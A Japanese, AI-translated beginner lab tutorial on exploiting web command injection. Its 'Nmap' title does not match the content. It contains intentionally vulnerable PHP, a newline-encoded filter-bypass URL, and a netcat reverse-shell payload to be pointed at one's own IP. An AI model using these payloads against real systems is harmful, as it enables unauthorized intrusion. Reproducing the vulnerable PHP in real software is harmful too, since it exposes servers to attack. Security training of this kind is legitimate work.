Nmap におけるコマンドインジェクション脆弱性の理解と悪用

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Web アプリケーションで最も一般的な脆弱性の 1 つであるコマンドインジェクション脆弱性について学びます。この実験では、コマンドインジェクション脆弱性の原理とその悪用手法を理解するための実践的な体験を提供します。2 つの実践演習を通じて、コマンドインジェクション脆弱性の特定と悪用方法を学び、コマンドを閉じるためのワイルドカード文字の使い方を理解し、フィルタをバイパスして権限を昇格させる方法を探ります。


Skills Graph

コマンドインジェクション脆弱性の理解

このステップでは、コマンドインジェクション脆弱性の基本とその悪用方法を、初心者にも分かりやすい方法で探っていきます。

では、コマンドインジェクション脆弱性とは何でしょうか?Web アプリケーションがユーザー入力を適切に処理せず、それがシステムコマンドで使用される場合に発生します。これにより、悪意のあるユーザーが Web アプリケーションと同じ権限でサーバー上で任意のコマンドを実行する可能性があります。

この脆弱性を持つ PHP コードの例を見てみましょう。

<?php
$action = $_GET['cmd'];
echo "<pre>";
system($action);
echo "<pre/>";
?>

このコードでは、system() 関数を使って、URL の cmd パラメータからのコマンドを実行しています。悪意のあるユーザーは、cmd パラメータに有害なコマンドを追加することでこの脆弱性を悪用することができます。

この脆弱性をうまく悪用するには、元のコマンドをキャンセルして追加のコマンドを追加する方法を知る必要があります。これは、;(セミコロン)、&&(論理積)、|(パイプ)、||(論理和)などのコマンド区切り文字を使って行います。

コマンドインジェクション脆弱性の悪用

次のステージへようこそ!ここでは、これまで学んだ知識を実践し、Web アプリケーションのコマンドインジェクション脆弱性を悪用してみましょう。

まずは、実験環境をセットアップしましょう。以下のコマンドを使用してください。

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' --registry-mirror='https://registry.docker-cn.com'

この脆弱性を持つ PHP コードを見てみましょう。

<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

このコードでは、ユーザー入力 ($_GET['ip']) が正規表現でチェックされ、IP アドレスの形式であることが確認されます。入力が有効な場合、system() 関数がユーザー入力を引数として ping コマンドを実行します。

では、このフィルタをバイパスして独自のコマンドを注入したい場合はどうすればいいでしょうか?ここで改行文字 %0a が役に立ちます。これは URL エンコード形式で使用されます。

たとえば、uname -a コマンドを実行したい場合は、以下の URL を使用できます。

http://127.0.0.1:82/vulnerable.php?ip=127.0.0.1%0auname%20-a

結果は次のようになります。

コマンドインジェクションの結果

この巧妙なトリックにより、IP アドレスのフィルタをバイパスし、ping コマンドの直後に uname -a コマンドが実行されます。これは、知識を活用して脆弱性を特定し悪用する実践的な例です。学習を続けましょう!

権限昇格と更なる悪用

ここまでやり遂げた素敵な成果です!コマンドインジェクション脆弱性をうまく悪用したら、次のステップに進むことができます。権限昇格を試したり、ターゲットシステムに対してより詳細な調査を行ったりすることができます。

人気のある手法の 1 つは、リバースシェル接続を作成することです。これにより、ターゲットシステム上でインタラクティブなシェルを利用できます。netcat (nc) や bash などのツールを使ってこれを実現できます。

以下は、netcat を使ってリバースシェルを確立する例です(ターゲットマシンにインストールされている必要があります)。

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%20127.0.0.1%205555%20%3E/tmp/f

リバースシェルコマンドの実行結果は次のようになるはずです。

リバースシェル

2 番目の 127.0.0.15555 を、使用したい IP アドレスとポート番号に置き換えるだけです。まるで穴埋め問題のようです!

また、ターゲットシステム上で機密ファイルを探すこともできます。これにより、更なる悪用や権限昇格に役立つ貴重な情報が得られるかもしれません。これは、デジタルの世界で探偵をするようなものです!

覚えておいてください、練習が上達の秘訣です。探索と学習を続ければ、すぐにこの分野のプロになれるでしょう!

まとめ

この実験では、Web アプリケーションにおいてユーザー入力が不適切に処理され、システムコマンドに渡されることで発生するコマンドインジェクション脆弱性について学びました。;&&||| などの区切り文字を使って悪意のあるコマンドを注入し、元のコマンドを閉じることで、これらの脆弱性を悪用する方法を探りました。さらに、改行文字をエンコードするなどの手法を使ってフィルタをバイパスする練習を行いました。最後に、コマンドインジェクション脆弱性を悪用した後の潜在的な次のステップ、例えばリバースシェルを確立したり、更なる悪用や権限昇格のために機密ファイルを列挙したりすることについて理解を深めました。